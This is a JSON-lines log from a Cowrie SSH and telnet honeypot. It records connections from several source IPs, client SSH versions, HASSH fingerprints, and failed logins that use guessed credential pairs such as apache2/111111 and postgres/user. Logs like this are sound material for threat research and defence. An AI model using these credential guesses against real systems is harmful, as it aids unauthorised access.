{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:44.675180Z","src_ip":"159.203.92.129","session":"d62e806c280f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache2","password":"111111","message":"login attempt [apache2/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:44.688786Z","src_ip":"159.203.92.129","session":"d62e806c280f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:45.695928Z","src_ip":"159.203.92.129","session":"d62e806c280f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":45140,"dst_ip":"159.203.135.109","dst_port":22,"session":"610c27f1ace3","protocol":"ssh","message":"New connection: 69.6.221.248:45140 (159.203.135.109:22) [session: 610c27f1ace3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:46.362873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:46.368031Z","src_ip":"69.6.221.248","session":"610c27f1ace3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:46.482531Z","src_ip":"69.6.221.248","session":"610c27f1ace3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfghjk","message":"login attempt [ubuntu/asdfghjk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:46.970003Z","src_ip":"69.6.221.248","session":"610c27f1ace3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:48.086045Z","src_ip":"69.6.221.248","session":"610c27f1ace3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":58962,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ba8f0226686","protocol":"telnet","message":"New connection: 154.110.11.213:58962 (10.17.0.5:23) [session: 2ba8f0226686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:50.883565Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":30657,"dst_ip":"10.17.0.5","dst_port":23,"session":"a16a029c9a4d","protocol":"telnet","message":"New connection: 154.110.11.213:30657 (10.17.0.5:23) [session: a16a029c9a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:52.853827Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":49536,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ea0abb72dad","protocol":"telnet","message":"New connection: 154.110.11.213:49536 (10.17.0.5:23) [session: 3ea0abb72dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:53.628878Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":5607,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a82c0fb6f34","protocol":"telnet","message":"New connection: 154.110.11.213:5607 (10.17.0.5:23) [session: 4a82c0fb6f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:54.058290Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":60306,"dst_ip":"10.17.0.5","dst_port":23,"session":"427340abc58b","protocol":"telnet","message":"New connection: 154.110.11.213:60306 (10.17.0.5:23) [session: 427340abc58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:21:56.868614Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":20004,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8904e766037","protocol":"ssh","message":"New connection: 194.59.206.2:20004 (159.203.135.109:22) [session: e8904e766037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:09.253564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:09.258211Z","src_ip":"194.59.206.2","session":"e8904e766037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:09.343858Z","src_ip":"194.59.206.2","session":"e8904e766037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:09.434772Z","src_ip":"194.59.206.2","session":"e8904e766037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.952622413635254,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:10.539898Z","src_ip":"185.26.126.47","session":"b4258a6469a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":60206,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7b941c137c4","protocol":"ssh","message":"New connection: 103.228.69.212:60206 (159.203.135.109:22) [session: b7b941c137c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:11.024388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:11.028945Z","src_ip":"103.228.69.212","session":"b7b941c137c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:11.262073Z","src_ip":"103.228.69.212","session":"b7b941c137c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test01","message":"login attempt [test/test01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:12.220406Z","src_ip":"103.228.69.212","session":"b7b941c137c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:13.453979Z","src_ip":"103.228.69.212","session":"b7b941c137c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52022,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1685042220d","protocol":"telnet","message":"New connection: 198.50.122.223:52022 (10.17.0.5:23) [session: f1685042220d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:27.858404Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46770,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fbf66a7b392","protocol":"ssh","message":"New connection: 159.203.92.129:46770 (159.203.135.109:22) [session: 1fbf66a7b392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:30.065808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:30.070795Z","src_ip":"159.203.92.129","session":"1fbf66a7b392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:30.078222Z","src_ip":"159.203.92.129","session":"1fbf66a7b392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache2","password":"123","message":"login attempt [apache2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:30.093173Z","src_ip":"159.203.92.129","session":"1fbf66a7b392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:31.100140Z","src_ip":"159.203.92.129","session":"1fbf66a7b392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":53230,"dst_ip":"159.203.135.109","dst_port":22,"session":"aafc8ca4efe4","protocol":"ssh","message":"New connection: 69.6.221.248:53230 (159.203.135.109:22) [session: aafc8ca4efe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:48.011347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:48.015765Z","src_ip":"69.6.221.248","session":"aafc8ca4efe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:48.129496Z","src_ip":"69.6.221.248","session":"aafc8ca4efe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user12","message":"login attempt [user/user12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:48.633172Z","src_ip":"69.6.221.248","session":"aafc8ca4efe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50160,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a5af49e3edc","protocol":"telnet","message":"New connection: 198.50.122.223:50160 (10.17.0.5:23) [session: 2a5af49e3edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:49.199099Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:49.749092Z","src_ip":"69.6.221.248","session":"aafc8ca4efe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.575800895690918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:22:58.434089Z","src_ip":"198.50.122.223","session":"f1685042220d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35188,"dst_ip":"10.17.0.5","dst_port":23,"session":"a26fb4104666","protocol":"telnet","message":"New connection: 198.50.122.223:35188 (10.17.0.5:23) [session: a26fb4104666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:10.207278Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":48822,"dst_ip":"159.203.135.109","dst_port":22,"session":"67890017d134","protocol":"ssh","message":"New connection: 103.228.69.212:48822 (159.203.135.109:22) [session: 67890017d134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:11.274449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:11.279299Z","src_ip":"103.228.69.212","session":"67890017d134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:11.509478Z","src_ip":"103.228.69.212","session":"67890017d134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"user","message":"login attempt [postgres/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:12.462463Z","src_ip":"103.228.69.212","session":"67890017d134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48332,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c6090f3dd5a","protocol":"telnet","message":"New connection: 198.50.122.223:48332 (10.17.0.5:23) [session: 1c6090f3dd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:13.147908Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:13.697449Z","src_ip":"103.228.69.212","session":"67890017d134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33214,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bd7ae953b91","protocol":"ssh","message":"New connection: 159.203.92.129:33214 (159.203.135.109:22) [session: 4bd7ae953b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:15.433867Z"}
